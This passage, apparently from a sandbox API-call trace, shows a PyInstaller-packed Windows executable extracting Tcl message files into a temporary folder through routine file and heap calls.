(hostlong=0x8c010000) returned 0x18c [0037.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18c) returned 0x550600 [0037.587] htonl (hostlong=0x8c010000) returned 0x18c [0037.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.587] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.587] htonl (hostlong=0xc3040000) returned 0x4c3 [0037.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4c3) returned 0x55e278 [0037.587] htonl (hostlong=0x8c010000) returned 0x18c [0037.587] htonl (hostlong=0xc3040000) returned 0x4c3 [0037.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.587] CloseHandle (hObject=0x10c) returned 1 [0037.587] GetLastError () returned 0x0 [0037.587] SetLastError (dwErrCode=0x0) [0037.588] GetLastError () returned 0x0 [0037.588] SetLastError (dwErrCode=0x0) [0037.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.588] GetFileType (hFile=0x10c) returned 0x1 [0037.588] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.588] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.588] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.588] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.588] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.588] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.588] CloseHandle (hObject=0x10c) returned 1 [0037.588] GetLastError () returned 0x0 [0037.588] SetLastError (dwErrCode=0x0) [0037.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.588] GetFileType (hFile=0x10c) returned 0x1 [0037.588] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.588] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.589] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.589] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.589] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.589] CloseHandle (hObject=0x10c) returned 1 [0037.589] GetLastError () returned 0x0 [0037.589] SetLastError (dwErrCode=0x0) [0037.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lv.msg") returned 61 [0037.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\lv.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.589] GetLastError () returned 0x2 [0037.589] SetLastError (dwErrCode=0x2) [0037.589] GetLastError () returned 0x2 [0037.589] SetLastError (dwErrCode=0x2) [0037.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lv.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lv.msg", lpFilePart=0x0) returned 0x3c [0037.589] GetLastError () returned 0x2 [0037.589] SetLastError (dwErrCode=0x2) [0037.589] GetLastError () returned 0x2 [0037.589] SetLastError (dwErrCode=0x2) [0037.589] GetLastError () returned 0x2 [0037.589] SetLastError (dwErrCode=0x2) [0037.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lv.msg") returned 61 [0037.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\lv.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.590] GetFileType (hFile=0x10c) returned 0x1 [0037.590] htonl (hostlong=0xc3040000) returned 0x4c3 [0037.590] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.590] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4c3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4c3, lpOverlapped=0x0) returned 1 [0037.591] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.591] CloseHandle (hObject=0x10c) returned 1 [0037.591] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.591] htonl (hostlong=0x30000000) returned 0x30 [0037.591] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.591] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.592] GetFileType (hFile=0x10c) returned 0x1 [0037.592] htonl (hostlong=0x9a835700) returned 0x57839a [0037.592] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c339a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.592] htonl (hostlong=0xcf010000) returned 0x1cf [0037.592] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cf) returned 0x550600 [0037.592] htonl (hostlong=0xcf010000) returned 0x1cf [0037.592] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.592] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.592] htonl (hostlong=0x39080000) returned 0x839 [0037.592] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x839) returned 0x55e278 [0037.592] htonl (hostlong=0xcf010000) returned 0x1cf [0037.592] htonl (hostlong=0x39080000) returned 0x839 [0037.592] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.592] CloseHandle (hObject=0x10c) returned 1 [0037.592] GetLastError () returned 0x0 [0037.592] SetLastError (dwErrCode=0x0) [0037.592] GetLastError () returned 0x0 [0037.592] SetLastError (dwErrCode=0x0) [0037.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.592] GetFileType (hFile=0x10c) returned 0x1 [0037.592] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.593] CloseHandle (hObject=0x10c) returned 1 [0037.593] GetLastError () returned 0x0 [0037.593] SetLastError (dwErrCode=0x0) [0037.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.593] GetFileType (hFile=0x10c) returned 0x1 [0037.593] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.594] CloseHandle (hObject=0x10c) returned 1 [0037.594] GetLastError () returned 0x0 [0037.594] SetLastError (dwErrCode=0x0) [0037.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mk.msg") returned 61 [0037.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mk.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.594] GetLastError () returned 0x2 [0037.594] SetLastError (dwErrCode=0x2) [0037.594] GetLastError () returned 0x2 [0037.594] SetLastError (dwErrCode=0x2) [0037.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mk.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mk.msg", lpFilePart=0x0) returned 0x3c [0037.594] GetLastError () returned 0x2 [0037.594] SetLastError (dwErrCode=0x2) [0037.594] GetLastError () returned 0x2 [0037.594] SetLastError (dwErrCode=0x2) [0037.594] GetLastError () returned 0x2 [0037.594] SetLastError (dwErrCode=0x2) [0037.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mk.msg") returned 61 [0037.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mk.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.594] GetFileType (hFile=0x10c) returned 0x1 [0037.594] htonl (hostlong=0x39080000) returned 0x839 [0037.594] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.594] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x839, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x839, lpOverlapped=0x0) returned 1 [0037.596] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.596] CloseHandle (hObject=0x10c) returned 1 [0037.598] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.598] htonl (hostlong=0x30000000) returned 0x30 [0037.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.598] GetFileType (hFile=0x10c) returned 0x1 [0037.598] htonl (hostlong=0x69855700) returned 0x578569 [0037.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3569, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.598] htonl (hostlong=0x65010000) returned 0x165 [0037.598] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x165) returned 0x550600 [0037.598] htonl (hostlong=0x65010000) returned 0x165 [0037.599] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.599] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.599] htonl (hostlong=0xf070000) returned 0x70f [0037.599] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x70f) returned 0x55e278 [0037.599] htonl (hostlong=0x65010000) returned 0x165 [0037.599] htonl (hostlong=0xf070000) returned 0x70f [0037.599] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.599] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.599] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.599] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.599] CloseHandle (hObject=0x10c) returned 1 [0037.599] GetLastError () returned 0x0 [0037.599] SetLastError (dwErrCode=0x0) [0037.599] GetLastError () returned 0x0 [0037.599] SetLastError (dwErrCode=0x0) [0037.599] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.599] GetFileType (hFile=0x10c) returned 0x1 [0037.599] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.600] CloseHandle (hObject=0x10c) returned 1 [0037.600] GetLastError () returned 0x0 [0037.600] SetLastError (dwErrCode=0x0) [0037.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.600] GetFileType (hFile=0x10c) returned 0x1 [0037.600] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.600] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.600] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.600] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.600] CloseHandle (hObject=0x10c) returned 1 [0037.600] GetLastError () returned 0x0 [0037.600] SetLastError (dwErrCode=0x0) [0037.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 